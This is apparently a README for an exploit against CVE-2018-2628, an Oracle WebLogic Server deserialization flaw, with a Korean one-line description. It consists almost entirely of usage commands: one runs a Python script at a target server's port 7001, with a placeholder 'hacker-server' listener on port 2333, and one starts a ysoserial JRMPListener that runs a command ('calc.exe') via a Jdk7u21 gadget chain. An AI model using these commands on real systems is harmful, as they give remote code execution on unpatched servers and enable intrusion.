
Oracle WebLogic Server 역직렬화 취약점인 CVE-2018-2628을 대상으로 하는 익스플로잇으로, ysoserial JRMP 리스너를 통해 원격 코드 실행을 가능하게 합니다.
weblogic-cve-2018-2628-exp
python2 weblogic-cve-2018-2628-exp.py [targetip targetport] ysoserial-0.1-cve-2018-2628-all.jar [bindip bindport] JRMPClient
python weblogic-cve-2018-2628-exp.py [weblogic-server] 7001 ysoserial-0.1-cve-2018-2628-all.jar [hacker-server] 2333 JRMPClient
java -cp [toolname] ysoserial.exploit.JRMPListener [bindport] [jdkversion] [command]
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 2333 Jdk7u21 "calc.exe"